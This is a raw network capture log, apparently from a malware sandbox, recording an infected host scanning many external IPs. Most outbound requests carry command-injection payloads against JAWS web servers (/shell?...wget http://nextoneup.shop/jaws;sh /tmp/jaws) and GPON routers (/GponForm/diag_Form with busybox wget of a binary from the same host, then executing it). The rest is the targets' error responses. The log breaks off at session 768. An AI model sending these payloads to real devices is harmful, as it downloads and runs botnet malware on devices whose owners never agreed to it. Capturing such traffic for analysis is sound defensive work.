"-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.0.52 (Red Hat) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.23	35774	190.149.62.34	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.051095963 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.324019909 CEST	421	IN	HTTP/1.1 301 Moved Permanently X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15552000 location: https://127.0.0.1:4430/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:03:47 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.23	43136	150.60.98.40	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.058209896 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.337291002 CEST	402	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:05 GMT Server: Apache Vary: Accept-Encoding Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.23	46878	195.234.134.79	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.108715057 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:06.794939041 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:08.778773069 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:12.874180079 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.809071064 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.678775072 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.674315929 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.23	41676	62.234.164.32	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.121695042 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:06.859009027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:07.184055090 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:07 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.23	35692	82.48.3.45	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.149491072 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.528465033 CEST	411	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 04:00:03 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.23	54178	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.251693964 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:51Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.23	37398	18.238.16.192	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.429439068 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.745645046 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:05 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.23	38008	46.101.57.158	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.431440115 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.750925064 CEST	205	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:05 GMT Content-Type: text/html Content-Length: 343 Connection: keep-alive Vary: Accept-Encoding ETag: "62c6829a-157"
Apr 14, 2024 04:00:05.750936985 CEST	355	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 77 61 79 73 2d 73 74 61 74 69 63 2d 63 6f 6e 74 65 6e 74 2e 73 33 2e 75 73 2d 65 61 73 Data Ascii: <!DOCTYPE html><html> <iframe src="https://cloudways-static-content.s3.us-east-1.amazonaws.com/error_page/maintenance-domain-mapping.html" frameborder="0" style="overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;p

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.23	42544	197.26.114.150	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.520888090 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.23	51582	27.72.102.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.533652067 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.924077988 CEST	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:05 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.23	38762	34.71.233.233	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.646193981 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.866209030 CEST	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:00:05 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.23	55754	187.153.32.88	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.652987003 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:06.347018003 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:06.564553976 CEST	123	IN	HTTP/1.0 401 Unauthorized WWW-Authenticate: Basic realm="S2E" Server: "seHTTPD_SERVER_AGENT" Content-type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.23	58740	23.52.157.149	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.670639992 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.912009954 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Sun, 14 Apr 2024 02:00:05 GMT Date: Sun, 14 Apr 2024 02:00:05 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 34 37 38 63 65 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 30 35 26 23 34 36 3b 65 32 38 63 31 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 34 37 38 63 65 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 30 35 26 23 34 36 3b 65 32 38 63 31 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8478ce17.1713060005.e28c14<P>https://errors.edgesuite.net/9.8478ce17.1713060005.e28c14</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.23	59506	152.67.103.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.751990080 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:06.060165882 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:00:05 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.23	49502	13.237.67.251	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.906716108 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.23	54208	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.938015938 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:52Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.23	39678	210.252.165.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.235908985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.23	40496	212.39.40.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.235948086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.23	53344	37.184.141.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.235980034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.23	59318	109.176.173.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236008883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.23	54728	2.6.129.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236051083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.23	46278	37.141.205.94	443

Timestamp	Bytes transferred	Direction	Data
